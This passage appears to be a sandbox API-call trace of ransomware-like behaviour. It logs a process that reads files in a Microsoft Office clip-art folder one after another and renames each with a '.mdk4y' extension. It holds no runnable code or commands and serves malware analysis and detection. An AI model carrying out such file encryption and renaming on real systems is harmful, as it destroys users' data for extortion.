QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822629300000) returned 1 [0151.064] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.mdk4y")) returned 1 [0151.065] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.065] AreFileApisANSI () returned 1 [0151.065] GetACP () returned 0x4e4 [0151.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107750.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107750.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.065] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822629500000) returned 1 [0151.065] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x126c, lpOverlapped=0x0) returned 1 [0151.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822635500000) returned 1 [0151.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822635500000) returned 1 [0151.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.mdk4y")) returned 1 [0151.126] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.127] AreFileApisANSI () returned 1 [0151.127] GetACP () returned 0x4e4 [0151.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0136865.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0136865.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.127] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822635700000) returned 1 [0151.128] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4146, lpOverlapped=0x0) returned 1 [0151.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822636300000) returned 1 [0151.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822636300000) returned 1 [0151.133] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.mdk4y")) returned 1 [0151.134] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.134] AreFileApisANSI () returned 1 [0151.134] GetACP () returned 0x4e4 [0151.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0144773.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0144773.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.134] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822636500000) returned 1 [0151.135] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9d27, lpOverlapped=0x0) returned 1 [0151.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822637200000) returned 1 [0151.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822637200000) returned 1 [0151.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.mdk4y")) returned 1 [0151.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.144] AreFileApisANSI () returned 1 [0151.144] GetACP () returned 0x4e4 [0151.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145168.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145168.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822637400000) returned 1 [0151.144] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8379, lpOverlapped=0x0) returned 1 [0151.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822637500000) returned 1 [0151.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822637500000) returned 1 [0151.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.mdk4y")) returned 1 [0151.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.146] AreFileApisANSI () returned 1 [0151.146] GetACP () returned 0x4e4 [0151.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145212.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145212.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822637700000) returned 1 [0151.147] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf0c1, lpOverlapped=0x0) returned 1 [0151.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822639100000) returned 1 [0151.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822639100000) returned 1 [0151.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.mdk4y")) returned 1 [0151.163] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.163] AreFileApisANSI () returned 1 [0151.163] GetACP () returned 0x4e4 [0151.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145272.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145272.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.163] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822639300000) returned 1 [0151.163] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc056, lpOverlapped=0x0) returned 1 [0151.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822643700000) returned 1 [0151.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822643700000) returned 1 [0151.207] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.mdk4y")) returned 1 [0151.208] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.208] AreFileApisANSI () returned 1 [0151.208] GetACP () returned 0x4e4 [0151.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145361.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145361.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.208] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822644100000) returned 1 [0151.211] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5285, lpOverlapped=0x0) returned 1 [0151.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822647900000) returned 1 [0151.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822647900000) returned 1 [0151.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.mdk4y")) returned 1 [0151.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.251] AreFileApisANSI () returned 1 [0151.251] GetACP () returned 0x4e4 [0151.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145373.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145373.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.251] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822648100000) returned 1 [0151.251] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x45cb, lpOverlapped=0x0) returned 1 [0151.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822649700000) returned 1 [0151.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822649700000) returned 1 [0151.267] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.mdk4y")) returned 1 [0151.268] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.268] AreFileApisANSI () returned 1 [0151.268] GetACP () returned 0x4e4 [0151.268] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145669.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145669.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.268] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822650100000) returned 1 [0151.271] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c6a, lpOverlapped=0x0) returned 1 [0151.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822651300000) returned 1 [0151.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822651300000) returned 1 [0151.284] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.mdk4y")) returned 1 [0151.284] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.284] AreFileApisANSI () returned 1 [0151.284] GetACP () returned 0x4e4 [0151.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145707.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145707.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.285] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822651500000) returned 1 [0151.285] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8fd4, lpOverlapped=0x0) returned 1 [0151.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822652700000) returned 1 [0151.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822652700000) returned 1 [0151.297] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.mdk4y")) returned 1 [0151.298] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.298] AreFileApisANSI () returned 1 [0151.298] GetACP () returned 0x4e4 [0151.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145810.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145810.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.298] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822652900000) returned 1 [0151.299] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8fb8, lpOverlapped=0x0) returned 1 [0151.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822655000000) returned 1 [0151.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822655000000) returned 1 [0151.320] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.mdk4y")) returned 1 [0151.321] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.321] AreFileApisANSI () returned 1 [0151.321] GetACP () returned 0x4e4 [0151.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145879.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145879.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.321] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822655200000) returned 1 [0151.322] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8a5b, lpOverlapped=0x0) returned 1 [0151.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822657100000) returned 1 [0151.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822657100000) returned 1 [0151.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.mdk4y")) returned 1 [0151.342] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.342] AreFileApisANSI () returned 1 [0151.342] GetACP () returned 0x4e4 [0151.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145895.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145895.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.343] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822657300000) returned 1 [0151.343] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x84a6, lpOverlapped=0x0) returned 1 [0151.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822658200000) returned 1 [0151.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822658200000) returned 1 [0151.353] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.mdk4y")) returned 1 [0151.354] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.354] AreFileApisANSI () returned 1 [0151.354] GetACP () returned 0x4e4 [0151.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0145904.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0145904.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0151.354] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822658400000) returned 1 [0151.354] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9a76, lpOverlapped=0x0) returned 1 [0151.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822659200000) returned 1 [0151.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822659200000) returned 1 [0151.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.mdk4y")) returned 1 